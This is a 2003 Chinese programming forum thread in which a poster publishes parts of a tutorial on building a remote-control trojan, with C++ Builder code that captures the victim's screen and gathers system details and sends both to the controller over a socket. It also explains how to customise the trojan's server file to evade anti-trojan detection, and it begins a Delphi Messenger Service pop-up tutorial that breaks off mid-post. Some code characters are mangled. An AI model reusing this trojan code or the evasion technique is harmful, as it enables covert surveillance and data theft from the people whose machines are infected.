  if   (2*m-CNum   MinSize=2*m-CNum;    
  MinRect=TRect(num1,num2,num3,num4);    
  }    
  }    
  }    
  TMemoryStream   *ms;    
  BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);    
  j->Assign(bt2);    
  j->SaveToStream(ms2);    
  CopyScreenItem.Rect=TRect(num1,num2,num3,num4);    
  CopyScreenItem.FileType=JPEGFILE;   //JPEGFILE   定义为:#define   JPEGFILE   1    
  ms2->Position=0;    
  CopyScreenItem.Length=ms2->Size;    
  ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));    
  ms->CopyFrom(ms2,ms2->Size);    
  ChangedNum++;    
  }while(MaxCNum>0);    
  TcpMsg.Type=MsgCopyScreen;    
  ms->Position=0;    
  TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);    
  CopyScreen.Count=ChangedNum;    
  ms->Write(&TcpMsg,sizeof(TcpMsgUint));    
  ms->Write(&CopyScreen,sizeof(CopyScreenUInt));    
  ms->Position=0;    
  sock->SendStream(ms);    
  }    
   
    这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分    
  的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传Top

16 楼FrameSniper(http://naoku.net/blogs/framesniper/)回复于 2003-09-26 14:36:55 得分 0

好,不错,继续!Top

17 楼mbl(小马)回复于 2003-09-26 14:43:21 得分 0

好,不错,继续!Top

18 楼leapmars(流铭)回复于 2003-09-26 14:49:11 得分 0

DING!Top

19 楼lincanwen(密码错误)回复于 2003-09-26 15:56:54 得分 0

不错Top

20 楼Wyi23(Wyi)回复于 2003-09-26 16:21:44 得分 0

楼主真阔气呀!不像其他小气鬼一点CODE都不让奉上.  
  强顶!  
  Top

21 楼coolfilm(苏飞工作室)回复于 2003-09-27 09:18:30 得分 0

6、目标机器情况的获取    
   
    相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取    
  机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。    
   
  AnsiString   cs;    
  FILE   *fp;    
  fp=fopen("temp.had","w+");    
  //TODO:   Add   your   source   code   here    
  //获得CPU型号    
  SYSTEM_INFO   systeminfo;    
  GetSystemInfo   (&systeminfo);    
  cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  MEMORYSTATUS   memory;    
  memory.dwLength   =sizeof(memory);   //初始化    
  GlobalMemoryStatus(&memory);    
  cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys   /1024/1024))+"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  cs="可用内存是(Kb):"+String(int(   memory.dwAvailPhys/1024))+"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  DWORD   sector,byte,cluster,free;    
  long   int   freespace,totalspace;    
  UINT   type;    
  char   name;    
  //0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、    
  //5—CD-ROM、6—内存虚拟盘    
  char   volname[255],filename[100];//buffer[512];    
  DWORD   sno,maxl,fileflag   ;    
  for   (name=‘A‘;name<=‘Z‘;name++)   {//循环检测A~Z    
  type   =   GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str());   //获得磁    
  盘类型    
  if(type==0){    
  cs="未知类型磁盘:"+String(name)+"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  }    
  else   if(type==2){    
  cs="可移动类型磁盘:"+String(name)+"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  }    
  else   if(type==3){    
  cs="固定磁盘:"+String(name)+"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  }    
  else   if(type==4)   {    
  cs="网络映射磁盘:"+String(name)+"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  }    
  else   if   (type==5)   {    
  cs="光驱:"+String(name)+"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  }    
  else   if   (type==6)   {    
  cs="内存虚拟磁盘:"+String(name)+"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  }    
   
   
  if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(),   volname,25    
  5,&sno,&maxl,&fileflag,filename,100))   {    
  cs=String(name)+"盘卷标为:"+String(volname)+"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  cs=String(name)+"盘序号为:"+String(sno)+"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte    
  ,&free,&cluster);   //获得返回参数    
  totalspace=int(cluster)*byte*sector/1024/1024;   //计算总容量    
  freespace=int(free)*byte*sector/1024/1024;   //计算可用空间    
  cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalsp    
  ace)+"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(frees    
  pace)+"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  }    
  }    
  int   wavedevice,mididevice;    
  WAVEOUTCAPS   wavecap;    
  MIDIOUTCAPS   midicap;    
  wavedevice=(int)waveOutGetNumDevs();   //波形设备信息    
  mididevice=(int)midiOutGetNumDevs();   //   MIDI设备信息    
  if   (wavedevice!=0){    
  waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));    
  cs="当前波形设备:"+String(wavecap.szPname)+"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  }    
  if   (mididevice!=0){    
  midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));    
  cs="当前MIDI设备:"+String(midicap.szPname)+"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  }    
  long   double   tcs;    
  long   double   tc;    
  long   int   bpp,cp;    
  cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+   String(Screen->Height)    
  +"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  bpp=GetDeviceCaps(Canvas->Handle   ,BITSPIXEL);    
  tcs=pow(2,bpp);   //计算色彩的梯度数    
  cp=   GetDeviceCaps(Form1->Canvas->Handle,PLANES);    
  tc=   pow(double(tcs),double(cp));   //计算色深    
  AnsiString   sss;    
  sss=bpp;    
  cs="当前色深为:"+sss+"\n";    
  fwrite(cs.c_str(),cs.Length(),1,fp);    
  fclose(fp);    
  AnsiString   FileName="temp.had";    
  char   *buf;    
  TcpMsgUint   Msg2;    
  strcpy(Msg2.TPassword,Password);    
  TMemoryStream   *ms=new   TMemoryStream;    
  ms->Clear();    
  if   (!FileExists(FileName))   CheckHard();    
  TFileStream   *fs=new   TFileStream(FileName,fmOpenRead);    
   
  buf=new   char[fs->Size+sizeof(TcpMsgUint)+1];    
  fs->Read(buf,fs->Size);    
  Msg2.Type=MsgGetHardWare;    
  Msg2.Length=fs->Size;    
  FileClose(fs->Handle);    
  ms->Write(&Msg2,sizeof(TcpMsgUint));    
  ms->Write(buf,Msg2.Length);    
  ms->Position=0;    
  delete   []buf;    
  try{    
  sock->SendStream(ms);    
  }    
  catch(Exception&e)   {    
  }    
  }    
   
   
   
    上面一段程序,基本上把相关的系统信息都取到了。    
   
  7、服务器端程序的包装与加密    
   
    用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑    
  程序检测出来,这种功能是如何实现的呢?    
   
    首先让我们来做一个实验:    
   
  进入Windows的命令行模式下做如下操作    
  1)C:\>copy   Server.Exe   Server.Bak    
  2)建立一个文本文件Test.Txt,其内容为“http://www.patching.net”    
  3)C:\>type   Text.Txt>>Server.Exe    
  4)运行Server.Exe    
   
   
   
    怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里    
  :首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件    
  的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,    
  然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一    
  些文件打包程序代码,它所使用的技术是大同小异的。Top

22 楼coolfilm(苏飞工作室)回复于 2003-09-27 09:22:02 得分 0

网络“信使服务”原理及Delphi下的实现      
  摘 要:信使服务  
  关键字:信使服务  
  类 别:API  
  你是不是碰到这种情况:好好的在做某事,突然之间弹出一个对话框,请你访问某某网站。反正我碰到不少。(注:只有win2000以上的版本提供这个功能)  
   
  那么它是怎么来的(废话:肯定是别人发的咯)?我是说它是怎么做出来的,就是它的原理是什么?  
   
  其实这是win2000中提供的一项服务(依靠netapi32.dll中的api)-“信使服务”。它本来是为了在局域网中简单对话或者提示而出现的,可现在却被用在互联网上用来做广告了,而且对于一般的用户(区别于电脑高手)是没有办法拒绝的!下面是我原来帮朋友编写的一个程序部分核心代码,通过它来解释一下,并且给出如何拒绝这种服务的办法。  
   
  1.编写信使服务部分  
          信使服务的核心是netapi32.dll提供的“netmessagebuffersend”api函数,这里写出它的在delphi中的声明,因为在delphi中并没有给出它的object   pascal声明,所以要自己在单元中声明:  
   
  function   netmessagebuffersend(servername:pwidechar;  
                                                                                            toname:pwidechar;  
                                                                                            fromname:pwidechar;  
                                                                                            buf:   pwidechar;  
                                                              var   buflen:integer):integer;stdcall;   external   'netapi32.dll'   name   'netmessagebuffersend';  
   
  注意其中的参数都是pwidechar类型哟!而且不是普通的pcha类型,所以我们要做个简单的转化,转化的过程到是很简单,使用stringtowidechar函数即可。  
  现在解释一下其中的参数:  
   
  servername:服务器名,可以写你的名字,当然也可以用nil;  
  toname:接受方的ip地址;(注意:这里不是integer类型!)  
  fromname:发送人的名字,就是你的了,你可以写你的名字,也可以写别的了;  
  buf:消息主体的内容;  
  buflen:消息主体的大小,设大点就可以了。  
   
  现在我们可以设置几个string变量了,假设string1是你的名字,string2是接受者的ip,string3是消息内容。  
   
  const  
      max_length=1025;//设置消息内容的大小,够大了吧,呵呵  
  var  
      string1,string2,string3:string;  
      pstring1,pstring2:array[0..28]   of   pwidechar;  
    &